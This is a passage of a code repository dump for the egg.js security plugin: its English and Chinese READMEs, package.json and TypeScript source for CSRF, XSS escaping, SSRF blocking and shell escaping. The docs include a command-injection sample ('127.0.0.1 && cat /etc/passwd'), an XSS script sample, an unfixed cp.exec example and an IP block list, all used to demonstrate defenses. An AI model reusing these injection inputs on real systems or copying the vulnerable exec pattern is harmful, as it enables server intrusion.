<body>${helper.shtml($value)}</body>\n</html>;\n// => <a href=\"http://www.domain.com\">google</a>&lt;script&gt;evilcode…&lt;/script&gt;\n```\n\nshtml based on [xss](https://github.com/leizongmin/js-xss/), and add filter by domain feature.\n\n- [default rule](https://github.com/leizongmin/js-xss/blob/master/lib/default.js)\n- custom rule <http://jsxss.com/zh/options.html>\n\nFor example, only support `a` tag, and filter all attributes except for `title`:\n\n```javascript\nwhiteList: {\n  a: ['title'];\n}\n```\n\noptions:\n\n> `config.helper.shtml.domainWhiteList` has been deprecated, please use `config.security.domainWhiteList` instead.\n\nMention that `shtml` uses a strict white list mechanism, in addition to filtering out the XSS risk of the string,`tags` and `attrs` which are not in the [default rule](https://github.com/leizongmin/js-xss/blob/master/lib/default.js) will be filtered.\n\nFor example `html` tag is not in the whitelist.\n\n```js\nconst html = '<html></html>';\n\n// html\n${helper.shtml($html)}\n\n// output none\n```\n\nCommonly used `data-xx` property is not in the whitelist, so it will be filtered.\nSo please check the applicable scenarios for `shtml`, it is usually used for rich-text submitted by user.\n\nA usage error will limit functions, and also affect the performance of the server.\nSuch scenes are generally forums, comments, etc.\n\nEven if the forum does not support the HTML content input, do not use this helper, you can directly use `escape` instead.\n\n### .spath()\n\nIf you want to use users input for a file path, please use spath for security check. If path is illegal, it will return null.\n\nIllegal path:\n\n- relative path starts with `..`\n- absolute path starts with `/`\n- above path try to use `url encode` to bypass the check\n\n```js\nconst foo = '/usr/local/bin';\nconsole.log(ctx.helper.spath(foo2));\n// => null\n```\n\n### .sjson()\n\njson encode.\n\nIf you want to output json in javascript without encoding, it will be a risk for XSS.\nsjson supports json encode，it will iterate all keys in json, then escape all characters in the value to `\\x` to avoid XSS attack, and keep the json structure unchanged.\nIf you want to output json string in your views, please use `${ctx.helper.sjson(var)}`to escape.\n\n**it has a very complex process and will lost performance, so avoid the use as far as possible**\n\nexample:\n\n```js\n<script>window.locals = ${ctx.helper.sjson(locals)};</script>\n```\n\n### .cliFilter()\n\nIt will cause remote command execution vulnerability, when user submit the implementation of the command by browser.because the server does not filter for the implementation of the function, resulting in the execution of the command can usually lead to the invasion of the server.\n\nIf you want to get user submit for command's parameter, please use `cliFilter`。\n\nbefore fix:\n\n```js\ncp.exec('bash /home/admin/ali-knowledge-graph-backend/initrun.sh ' + port);\n```\n\nafter fix:\n\n```js\ncp.exec('bash /home/admin/ali-knowledge-graph-backend/initrun.sh ' + ctx.helper.cliFilter(port));\n```\n\n### .escapeShellArg()\n\nEscape command line arguments. Add single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument.\n\n```js\nconst ip = '127.0.0.1 && cat /etc/passwd';\nconst cmd = 'ping -c 1 ' + this.helper.escapeShellArg(ip);\n\nconsole.log(cmd);\n//ping -c 1 '127.0.0.1 && cat /etc/passwd'\n```\n\n### .escapeShellCmd()\n\nCommand line escape to remove the following characters from the entered command line: ``#&;`|*?~<>^()[]{}$;'\", 0x0A and 0xFF``\n\n```js\nconst ip = '127.0.0.1 && cat /etc/passwd';\nconst cmd = 'ping -c 1 ' + this.helper.escapeShellCmd(ip);\n\nconsole.log(cmd);\n//ping -c 1 127.0.0.1  cat /etc/passwd\n```\n\n## Security Headers\n\nRefer to [lusca](https://github.com/krakenjs/lusca), appreciate their work.\n\n### hsts Strict-Transport-Security\n\nDisabled by default. If your website based on https, we recommend you should enable it.\n\n- maxAge one year by default `365 * 24 * 3600`\n- includeSubdomains false by default\n\n### csp\n\nDefault disabled. If you need to enable it, please contact your security engineers and determine the opening strategy\n\n- policy policies used by csp\n\n### X-Download-Options:noopen\n\nDefault enabled, disable IE download dialog automatically opens download file and will cause XSS\n\n### X-Content-Type-Options:nosniff\n\nDisable IE8's auto MIME sniffing. E.g.: take `text/plain` as `text/html` by mistake and render it, especially when there's something untrusted in the local service.\n\n### X-Frame-Options\n\nDefaulting to \"SAMEORIGIN\", only allows iframe to embed by the same origin.\n\n- value Defaulting to `SAMEORIGIN`\n\n### X-XSS-Protection\n\n- disable Defaulting to `false`, the same as `1; mode=block`.\n\n### SSRF Protection\n\nIn a [Server-Side Request Forgery (SSRF)](https://www.owasp.org/index.php/Server_Side_Request_Forgery) attack, the attacker can abuse functionality on the server to read or update internal resources.\n\n`egg-security` provide `ctx.safeCurl`, `app.safeCurl` and `agent.safeCurl` to provide http request(like `ctx.curl`, `app.curl` and `agent.curl`) with SSRF protection.\n\n#### Configuration\n\n- ipBlackList(Array) - specific which IP addresses are illegal when requested with `safeCurl`.\n- ipExceptionList(Array) - specific which IP addresses are legal within ipBlackList.\n  hostnameExceptionList(Array) - specifies which hostnames are legal within ipBlackList.\n- checkAddress(Function) - determine the ip by the function's return value, `false` means illegal ip.\n\n```js\n// config/config.default.js\nexports.security = {\n  ssrf: {\n    // support both cidr subnet or specific IP\n    ipBlackList: ['10.0.0.0/8', '127.0.0.1', '0.0.0.0/32'],\n    // support both cidr subnet or specific IP\n    ipExceptionList: ['10.1.1.1', '10.10.0.1/24'],\n    // legal hostname\n    hostnameExceptionList: ['example.com'],\n    // checkAddress has higher priority than ipBlackList\n    checkAddress(ip) {\n      return ip !== '127.0.0.1';\n    },\n  },\n};\n```\n\n## Other\n\n- Forbid `trace` `track` http methods.\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/security/README.zh-CN.md",
    "content": "# @eggjs/security\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/eggjs/security.svg?style=flat)](https://nodejs.org/en/download/)\n[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](https://makeapullrequest.com)\n![CodeRabbit Pull Request Reviews](https://img.shields.io/coderabbit/prs/github/eggjs/security)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/security.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/security\n[snyk-image]: https://snyk.io/test/npm/@eggjs/security/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/security\n[download-image]: https://img.shields.io/npm/dm/@eggjs/security.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/security\n\negg 内置的安全插件\n\n## 使用方式\n\negg 默认开启此插件，所以无需配置。\n\n修改 `config/config.js` 文件修改配置\n\n```js\nexports.security = {\n  xframe: {\n    value: 'SAMEORIGIN',\n  },\n};\n```\n\n### 关闭安全防范\n\n如果你想关闭其中一些安全防范，直接设置该项的 `enable` 属性为 false 即可，如关闭 xfame 防范：\n\n```js\nexports.security = {\n  xframe: {\n    enable: false,\n  },\n};\n```\n\n### match 和 ignore\n\n如果只想开启针对某一路径，则配置 match 选项，例如只针对 `/example` 开启 csp\n\n```js\nexports.security = {\n  csp: {\n    match: '/example',\n    // match: /^\\/api/, // support regexp\n    // match: ctx => ctx.path.startsWith('/api'), // support function\n    // match: [ ctx => ctx.path.startsWith('/api'), /^\\/foo$/, '/bar'], // support Array\n    policy: {\n      //...\n    },\n  },\n};\n```\n\n如果需要针对某一路径忽略某安全选项，则配置 ignore 选项，例如针对 `/example` 关闭 xframe，以便合作商户能够嵌入我们的页面：\n\n```js\nexports.security = {\n  xframe: {\n    ignore: '/example',\n    // ignore: /^\\/api/, // support regexp\n    // ignore: ctx => ctx.path.startsWith('/api'), // support function\n    // ignore: [ ctx => ctx.path.startsWith('/api'), /^\\/foo$/, '/bar'], // support Array\n    // ...\n  },\n};\n```\n\n**注意：如果存在 match 则忽略 ignore。**\n\n## API\n\n### ctx.isSafeDomain(domain)\n\n是否为安全域名。安全域名在配置中配置，见 `ctx.redirect` 部分\n\n## 接口限制\n\n### csrf\n\n**使用**\n\n- `ctx.csrf` 获取 csrf token\n\n一般在 POST 表单时使用。\n\n页面渲染时，将 `ctx.csrf` 作为 form 隐藏域或 query string 渲染在页面上。(`_csrf` 作为 key)\n\n在提交表单时，带上 token 即可。\n\n#### 通过 formData 上传时使用 csrf\n\n浏览器端 html 代码:\n\n```html\n<form method=\"POST\" action=\"/upload?_csrf={{ ctx.csrf | safe }}\" enctype=\"multipart/form-data\">\n  title: <input name=\"title\" /> file: <input name=\"file\" type=\"file\" />\n  <button type=\"submit\">上传</button>\n</form>\n```\n\n### ctoken\n\najax 防跨站攻击。\n\n**使用**\n\n在 ajax 请求时，以 `ctoken` 为 name 带上 ctoken 即可。\n\nctoken 从 cookie 中获取\n\n**安全开发者约定**\n\n- `ctx.ctoken` 获取 ctoken 的逻辑。使用者不要调用，安全插件内部使用。\n- `ctx.setCTOKEN()` 设置 ctoken 的逻辑。使用者不要调用，安全插件内部使用。\n- `ctx.assertCTOKEN()` ctoken 校验逻辑。使用者不要调用，安全插件内部使用。\n- `ctx.setCTOKEN()`会将cookie设置到主域名下，主要考虑主域名下其他子域名对应的应用之间的互相调用。例如 A.xx.com 域种了 ctoken,会设置cookie到xx.com域上，在 B.xx.com 域的时候可以利用 ctoken 去请求，在 A 域 jsonp 请求 B 域的时候，B 域也可以验证 ctoken。\n\n可拓展实现。例如 ctoken token 存在什么 cookie，存什么字段等，都可以通过以上两个接口拓展。\n\n#### 配置项\n\n```js\nexports.security = {\n  csrf: {\n    type: 'ctoken', // 可以是 ctoken / referer / all, 默认为 ctoken\n    useSession: false, // 如果设为 true，secret 将存储在 session 中\n    ignoreJSON: false, // 如果设为 true ，将忽略 json 请求\n    cookieName: 'csrfToken', // csrf 的 token 在 cookie 中存储的 key 名称\n    sessionName: 'csrfToken', // csrf 的 token 在 session 中存储的 key 名称\n    headerName: 'x-csrf-token', // csrf token 在 header 中的名称\n    bodyName: '_csrf', // csrf token 在 body 中的名称\n    queryName: '_csrf', // csrf token 在 query 中的名称\n    rotateWhenInvalid: false, // csrf invalid 时刷新 token，用于同域名下多个业务 token 可能互相影响的情况\n    refererWhiteList: [], // referer 白名单\n    supportedRequests: [\n      // 支持的 url path pattern 和方法，根据配置名单由上至下匹配 url path 正则，建议在自定义时配置 {path: /^\\//, methods:['POST','PATCH','DELETE','PUT','CONNECT']} 为兜底规则\n      { path: /^\\//, methods: ['POST', 'PATCH', 'DELETE', 'PUT', 'CONNECT'] },\n    ],\n  },\n};\n```\n\n注意，methods 可以为空， 如果将 supportedRequests 设置为`supportedRequests: [{path: /^\\//, methods:[]}]`, 那么等效于关闭 csrf 防御。\n\n### safe redirect\n\n- `ctx.redirect(url)` 如果不在配置的白名单内，则禁止\n- `ctx.unsafeRedirect(url)` 不建议使用\n\n安全方案覆盖了默认的`ctx.redirect`方法，所有的跳转均会经过安全域名的判断。\n\n用户如果使用`ctx.redirect`方法，需要在应用的配置文件中做如下配置：\n\n```js\nexports.security = {\n  domainWhiteList: ['.domain.com'], // 安全白名单，以.开头\n};\n```\n\n若用户没有配置 `domainWhiteList` 或者 `domainWhiteList` 数组内为空，则默认会对所有跳转请求放行，即等同于`ctx.unsafeRedirect(url)`。同时域名和 url 检查时不区分大小写。\n\n### jsonp\n\n使用 [jsonp-body](https://github.com/node-modules/jsonp-body)，在 egg context 中实现，并不再 egg-security 中。\n\n防御内容：\n\n- callback函数名词最长50个字符限制\n- callback函数名只允许\"[\",\"]\",\"a-zA-Z0123456789\\_\", \"$\" \".\"，防止一般的 xss，utf-7 xss等攻击\n\n可定义配置：\n\n- callback 默认 `_callback`，可以改名\n- limit - 函数名 length 限制，默认 50\n\n## helper\n\n### .escape()\n\n对字符串进行 xss 过滤，安全性最高的过滤方式。\n\n```js\nconst str = '><script>alert(\"abc\") </script><';\nconsole.log(ctx.helper.escape(str));\n// => &gt;&lt;script&gt;alert(&quot;abc&quot;) &lt;/script&gt;&lt;\n```\n\n在 nunjucks 模板中，默认进行 escape，不需要显式调用。\n\n### .surl()\n\nurl 过滤。\n\n用于在html标签中中要解析 url 的地方（比如 `<a href=\"\"/><img src=\"\"/>`），其他地方不允许使用。\n\n对模板中要输出的变量，加 `helper.surl($value)`。\n\n**特别需要注意的是在需要解析url的地方，surl 外面一定要加上双引号，否则就会导致XSS漏洞。**\n\n不使用 surl\n\n```html\n<a href=\"$value\" />\n```\n\noutput:\n\n```html\n<a href=\"http://www.domain.com<script>\" />\n```\n\n使用 surl\n\n```html\n<a href=\"helper.surl($value)\" />\n```\n\noutput:\n\n```html\n<a href=\"http://www.domain.com&lt;script&gt;\" />\n```\n\n### .sjs()\n\n用于在 js（包括 onload 等 event）中输出变量，会对变量中字符进行 JAVASCRIPT ENCODE，\n将所有非白名单字符转义为 `\\x` 形式，防止xss攻击，也确保在 js 中输出的正确性。\n\n```js\nconst foo = '\"hello\"';\n\n// 未使用 sjs\nconsole.log(`var foo = \"${foo}\";`);\n// => var foo = \"\"hello\"\";\n\n// 使用 sjs\nconsole.log(`var foo = \"${this.helper.sjs(foo)}\";`);\n// => var foo = \"\\\\x22hello\\\\x22\";\n```\n\n### .shtml()\n\n将富文本（包含 html 代码的文本）当成变量直接在模版里面输出时，需要用到 shtml 来处理。\n使用 shtml 可以输出 html 的 tag，同时执行 xss 的过滤动作，过滤掉非法的脚本。\n\n**由于是一个非常复杂的安全处理过程，对服务器处理性能一定影响，如果不是输出 HTML，请勿使用。**\n\n简单示例：\n\n```js\n// js\nconst value = `<a href=\"http://www.domain.com\">google</a><script>evilcode…</script>`;\n\n// 模板\n<html>\n  <body>${helper.shtml($value)}</body>\n</html>;\n// => <a href=\"http://www.domain.com\">google</a>&lt;script&gt;evilcode…&lt;/script&gt;\n```\n\nshtml 在 [xss](https://github.com/leizongmin/js-xss/) 模块基础上增加了针对域名的过滤。\n\n- [默认规则](https://github.com/leizongmin/js-xss/blob/master/lib/default.js)\n- 自定义过滤项 <http://jsxss.com/zh/options.html>\n\n例如只支持 a 标签，且除了 title 其他属性都过滤掉：\n\n```javascript\nwhiteList: {\n  a: ['title'];\n}\n```\n\noptions:\n\n> `config.helper.shtml.domainWhiteList` 已过时，请使用 `config.security.domainWhiteList` 代替。\n\n注意，shtml 使用了严格的白名单机制，除了过滤掉 xss 风险的字符串外，\n在 [默认规则](https://github.com/leizongmin/js-xss/blob/master/lib/default.js) 外的 tag 和 attr 都会被过滤掉。\n\n例如 html 标签就不在白名单中，\n\n```js\nconst html = '<html></html>';\n\n// html\n${helper.shtml($html)}\n\n// 输出空\n```\n\n常见的 `data-xx` 属性由于不在白名单中，所以都会被过滤。\n\n所以，一定要注意 shtml 的适用场景，一般是针对来自用户的富文本输入，切忌滥用，功能既受到限制，又会影响服务端性能。\n此类场景一般是论坛、评论系统等，即便是论坛等如果不支持 html 内容输入，也不要使用此 helper，直接使用 escape 即可。\n\n### .spath()\n\n如果把输入字符串用作 path 路径，需要使用 spath 进行安全检验。若路径不合法，返回 null。\n\n不合法的路径包括：\n\n- 使用 `..` 的相对路径\n- 使用 `/` 开头的绝对路径\n- 以及以上试图通过 url encode 试图绕过校验的结果字符串\n\n```js\nconst foo = '/usr/local/bin';\nconsole.log(this.helper.spath(foo2));\n// => null\n```\n\n### .sjson()\n\njson转义\n\n在js中输出json，若未做转义，易被利用为xss漏洞。提供此宏做json encode，会遍历json中的key，将value的值中，所有非白名单字符转义为\\x形式，防止xss攻击。同时保持json结构不变。\n若你有模板中输出一个json字符串给js应用的场景，请使用 `${this.helper.sjson(变量名)}`进行转义。\n\n**处理过程较复杂，性能损耗较大，尽量避免使用**\n\n实例:\n\n```js\n<script>window.locals = ${this.helper.sjson(locals)};</script>\n```\n\n### .cliFilter()\n\n远程命令执行漏洞，用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致可以执行命令，通常可导致入侵服务器。\n\n如果用户可控变量为命令中的参数。则直接使用安全包函数过滤。\n\n修复前：\n\n```js\ncp.exec('bash /home/admin/ali-knowledge-graph-backend/initrun.sh ' + port);\n```\n\n修复后：\n\n```js\ncp.exec('bash /home/admin/ali-knowledge-graph-backend/initrun.sh ' + this.helper.cliFilter(port));\n```\n\n如果因为业务需要，需要在参数中添加白名单之外的字符。可以将用户输入按照该字符分割，并使用过滤函数过滤每一段数据。\n\n如果用户可控变量为命令中的命令，则和开发协商修改功能或功能下线。\n\n### .escapeShellArg()\n\n命令行参数转义。给字符串增加一对单引号并且能引用或者转码任何已经存在的单引号， 这样以确保能够直接将一个字符串传入 shell 函数，并且还是确保安全的。\n\n```js\nconst ip = '127.0.0.1 && cat /etc/passwd';\nconst cmd = 'ping -c 1 ' + this.helper.escapeShellArg(ip);\n\nconsole.log(cmd);\n//ping -c 1 '127.0.0.1 && cat /etc/passwd'\n```\n\n### .escapeShellCmd()\n\n命令行转义，从输入的命令行中删除下列字符: ``#&;`|*?~<>^()[]{}$;'\", 0x0A 和 0xFF``\n\n```js\nconst ip = '127.0.0.1 && cat /etc/passwd';\nconst cmd = 'ping -c 1 ' + this.helper.escapeShellCmd(ip);\n\nconsole.log(cmd);\n//ping -c 1 127.0.0.1  cat /etc/passwd\n```\n\n## Web 安全头\n\n### hsts Strict-Transport-Security\n\n默认开启，如果是 http 站点，需要关闭\n\n- maxAge 默认一年 `365 * 24 * 3600`\n- includeSubdomains 默认 false\n\n### csp\n\n默认关闭。需要开启的话，需要和安全工程师确定开启策略。\n\n- policy 策略\n\n### X-Download-Options:noopen\n\n默认开启，禁用IE下下载框Open按钮，防止 ie 下下载文件默认被打开 xss\n\n### X-Content-Type-Options:nosniff\n\n禁用 IE8 自动嗅探 mime 功能。例如：`text/plain` 却当成 `text/html` 渲染，特别当本站点服务内容未必可信的时候。\n\n### X-Frame-Options\n\n默认 SAMEORIGIN，只允许同域把本页面当作 iframe 嵌入。\n\n- value 默认值 `SAMEORIGIN`\n\n### X-XSS-Protection\n\n- close 默认值false，即设置为 `1; mode=block`\n\n## 其他\n\n- crossdomain.xml robots.txt 支持，默认都不加，系统可自行加，需要咨询项目安全工程师\n- 禁止 trace track 两种类型请求\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/security/package.json",
    "content": "{\n  \"name\": \"@eggjs/security\",\n  \"version\": \"5.0.2-beta.5\",\n  \"description\": \"security plugin in egg framework\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"eggPlugin\",\n    \"security\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/security#readme\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"jtyjty99999\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/security\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/agent\": \"./src/app/extend/agent.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./app/extend/context\": \"./src/app/extend/context.ts\",\n    \"./app/extend/helper\": \"./src/app/extend/helper.ts\",\n    \"./app/extend/response\": \"./src/app/extend/response.ts\",\n    \"./app/middleware/securities\": \"./src/app/middleware/securities.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./config/config.local\": \"./src/config/config.local.ts\",\n    \"./lib/extend/safe_curl\": \"./src/lib/extend/safe_curl.ts\",\n    \"./lib/helper\": \"./src/lib/helper/index.ts\",\n    \"./lib/helper/cliFilter\": \"./src/lib/helper/cliFilter.ts\",\n    \"./lib/helper/escape\": \"./src/lib/helper/escape.ts\",\n    \"./lib/helper/escapeShellArg\": \"./src/lib/helper/escapeShellArg.ts\",\n    \"./lib/helper/escapeShellCmd\": \"./src/lib/helper/escapeShellCmd.ts\",\n    \"./lib/helper/shtml\": \"./src/lib/helper/shtml.ts\",\n    \"./lib/helper/sjs\": \"./src/lib/helper/sjs.ts\",\n    \"./lib/helper/sjson\": \"./src/lib/helper/sjson.ts\",\n    \"./lib/helper/spath\": \"./src/lib/helper/spath.ts\",\n    \"./lib/helper/surl\": \"./src/lib/helper/surl.ts\",\n    \"./lib/middlewares\": \"./src/lib/middlewares/index.ts\",\n    \"./lib/middlewares/csp\": \"./src/lib/middlewares/csp.ts\",\n    \"./lib/middlewares/csrf\": \"./src/lib/middlewares/csrf.ts\",\n    \"./lib/middlewares/dta\": \"./src/lib/middlewares/dta.ts\",\n    \"./lib/middlewares/hsts\": \"./src/lib/middlewares/hsts.ts\",\n    \"./lib/middlewares/methodnoallow\": \"./src/lib/middlewares/methodnoallow.ts\",\n    \"./lib/middlewares/noopen\": \"./src/lib/middlewares/noopen.ts\",\n    \"./lib/middlewares/nosniff\": \"./src/lib/middlewares/nosniff.ts\",\n    \"./lib/middlewares/referrerPolicy\": \"./src/lib/middlewares/referrerPolicy.ts\",\n    \"./lib/middlewares/xframe\": \"./src/lib/middlewares/xframe.ts\",\n    \"./lib/middlewares/xssProtection\": \"./src/lib/middlewares/xssProtection.ts\",\n    \"./lib/utils\": \"./src/lib/utils.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/agent\": \"./dist/app/extend/agent.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./app/extend/context\": \"./dist/app/extend/context.js\",\n      \"./app/extend/helper\": \"./dist/app/extend/helper.js\",\n      \"./app/extend/response\": \"./dist/app/extend/response.js\",\n      \"./app/middleware/securities\": \"./dist/app/middleware/securities.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./config/config.local\": \"./dist/config/config.local.js\",\n      \"./lib/extend/safe_curl\": \"./dist/lib/extend/safe_curl.js\",\n      \"./lib/helper\": \"./dist/lib/helper/index.js\",\n      \"./lib/helper/cliFilter\": \"./dist/lib/helper/cliFilter.js\",\n      \"./lib/helper/escape\": \"./dist/lib/helper/escape.js\",\n      \"./lib/helper/escapeShellArg\": \"./dist/lib/helper/escapeShellArg.js\",\n      \"./lib/helper/escapeShellCmd\": \"./dist/lib/helper/escapeShellCmd.js\",\n      \"./lib/helper/shtml\": \"./dist/lib/helper/shtml.js\",\n      \"./lib/helper/sjs\": \"./dist/lib/helper/sjs.js\",\n      \"./lib/helper/sjson\": \"./dist/lib/helper/sjson.js\",\n      \"./lib/helper/spath\": \"./dist/lib/helper/spath.js\",\n      \"./lib/helper/surl\": \"./dist/lib/helper/surl.js\",\n      \"./lib/middlewares\": \"./dist/lib/middlewares/index.js\",\n      \"./lib/middlewares/csp\": \"./dist/lib/middlewares/csp.js\",\n      \"./lib/middlewares/csrf\": \"./dist/lib/middlewares/csrf.js\",\n      \"./lib/middlewares/dta\": \"./dist/lib/middlewares/dta.js\",\n      \"./lib/middlewares/hsts\": \"./dist/lib/middlewares/hsts.js\",\n      \"./lib/middlewares/methodnoallow\": \"./dist/lib/middlewares/methodnoallow.js\",\n      \"./lib/middlewares/noopen\": \"./dist/lib/middlewares/noopen.js\",\n      \"./lib/middlewares/nosniff\": \"./dist/lib/middlewares/nosniff.js\",\n      \"./lib/middlewares/referrerPolicy\": \"./dist/lib/middlewares/referrerPolicy.js\",\n      \"./lib/middlewares/xframe\": \"./dist/lib/middlewares/xframe.js\",\n      \"./lib/middlewares/xssProtection\": \"./dist/lib/middlewares/xssProtection.js\",\n      \"./lib/utils\": \"./dist/lib/utils.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/ip\": \"catalog:\",\n    \"@eggjs/path-matching\": \"workspace:*\",\n    \"csrf\": \"catalog:\",\n    \"escape-html\": \"catalog:\",\n    \"extend\": \"catalog:\",\n    \"koa-compose\": \"catalog:\",\n    \"matcher\": \"catalog:\",\n    \"nanoid\": \"catalog:\",\n    \"type-is\": \"catalog:\",\n    \"xss\": \"catalog:\",\n    \"zod\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"@types/escape-html\": \"catalog:\",\n    \"@types/extend\": \"catalog:\",\n    \"@types/koa-compose\": \"catalog:\",\n    \"@types/mocha\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"@types/type-is\": \"catalog:\",\n    \"beautify-benchmark\": \"catalog:\",\n    \"benchmark\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"egg-view-nunjucks\": \"catalog:\",\n    \"spy\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">= 22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/security/src/agent.ts",
    "content": "import type { ILifecycleBoot, Agent } from 'egg';\n\nimport { preprocessConfig } from './lib/utils.ts';\n\nexport default class AgentBoot implements ILifecycleBoot {\n  private readonly agent;\n\n  constructor(agent: Agent) {\n    this.agent = agent;\n  }\n\n  async configWillLoad(): Promise<void> {\n    preprocessConfig(this.agent.config.security);\n  }\n}\n"
  },
  {
    "path": "plugins/security/src/app/extend/agent.ts",
    "content": "import { Agent } from 'egg';\n\nimport {\n  safeCurlForApplication,\n  type HttpClientRequestURL,\n  type HttpClientOptions,\n  type HttpClientResponse,\n} from '../../lib/extend/safe_curl.ts';\n\nexport default class SecurityAgent extends Agent {\n  async safeCurl<T = any>(url: HttpClientRequestURL, options?: HttpClientOptions): Promise<HttpClientResponse<T>> {\n    return await safeCurlForApplication<T>(this, url, options);\n  }\n}\n"
  },
  {
    "path": "plugins/security/src/app/extend/application.ts",
    "content": "import { Application } from 'egg';\n\nimport {\n  safeCurlForApplication,\n  type HttpClientRequestURL,\n  type HttpClientOptions,\n  type HttpClientResponse,\n} from '../../lib/extend/safe_curl.ts';\n\nconst INPUT_CSRF = '\\r\\n<input type=\"hidden\" name=\"_csrf\" value=\"{{ctx.csrf}}\" /></form>';\nconst INJECTION_DEFENSE = '<!--for injection--><!--</html>--><!--for injection-->';\n\nexport default class SecurityApplication extends Application {\n  injectCsrf(html: string): string {\n    html = html.replace(/(<form.*?>)([\\s\\S]*?)<\\/form>/gi, (_, $1, $2) => {\n      const match = $2;\n      if (match.indexOf('name=\"_csrf\"') !== -1 || match.indexOf(\"name='_csrf'\") !== -1) {\n        return $1 + match + '</form>';\n      }\n      return $1 + match + INPUT_CSRF;\n    });\n    return html;\n  }\n\n  injectNonce(html: string): string {\n    html = html.replace(/<script(.*?)>([\\s\\S]*?)<\\/script[^>]*?>/gi, (_, $1, $2) => {\n      if (!$1.includes('nonce=')) {\n        $1 += ' nonce=\"{{ctx.nonce}}\"';\n      }\n      return '<script' + $1 + '>' + $2 + '</script>';\n    });\n    return html;\n  }\n\n  injectHijackingDefense(html: string): string {\n    return INJECTION_DEFENSE + html + INJECTION_DEFENSE;\n  }\n\n  async safeCurl<T = any>(url: HttpClientRequestURL, options?: HttpClientOptions): Promise<HttpClientResponse<T>> {\n    return await safeCurlForApplication<T>(this, url, options);\n  }\n}\n"
  },
  {
    "path": "plugins/security/src/app/extend/context.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport Tokens from 'csrf';\nimport { Context } from 'egg';\nimport { nanoid } from 'nanoid/non-secure';\n\nimport type { SecurityConfig } from '../../config/config.default.ts';\nimport type { HttpClientRequestURL, HttpClientOptions, HttpClientResponse } from '../../lib/extend/safe_curl.ts';\nimport * as utils from '../../lib/utils.ts';\nimport type SecurityResponse from './response.ts';\n\nconst debug = debuglog('egg/security/app/extend/context');\n\nconst tokens = new Tokens();\n\nconst _CSRF_SECRET = Symbol('egg-security#_CSRF_SECRET');\nconst NEW_CSRF_SECRET = Symbol('egg-security#NEW_CSRF_SECRET');\nconst NONCE_CACHE = Symbol('egg-security#NONCE_CACHE');\nconst SECURITY_OPTIONS = Symbol('egg-security#SECURITY_OPTIONS');\n\nfunction findToken(obj: Record<string, string>, keys: string | string[]) {\n  if (!obj) return;\n  if (!keys || !keys.length) return;\n  if (typeof keys === 'string') return obj[keys];\n  for (const key of keys) {\n    if (obj[key]) return obj[key];\n  }\n}\n\nexport default class SecurityContext extends Context {\n  declare response: SecurityResponse;\n\n  get securityOptions() {\n    if (!this[SECURITY_OPTIONS]) {\n      this[SECURITY_OPTIONS] = {};\n    }\n    return this[SECURITY_OPTIONS] as Partial<SecurityConfig>;\n  }\n\n  /**\n   * Check whether the specific `domain` is in / matches the whiteList or not.\n   * @param {string} domain The assigned domain.\n   * @param {Array<string>} [customWhiteList] The custom white list for domain.\n   * @return {boolean} If the domain is in / matches the whiteList, return true;\n   * otherwise false.\n   */\n  isSafeDomain(domain: string, customWhiteList?: string[]): boolean {\n    const domainWhiteList =\n      customWhiteList && customWhiteList.length > 0 ? customWhiteList : this.app.config.security.domainWhiteList;\n    return utils.isSafeDomain(domain, domainWhiteList);\n  }\n\n  // Add nonce, random characters will be OK.\n  // 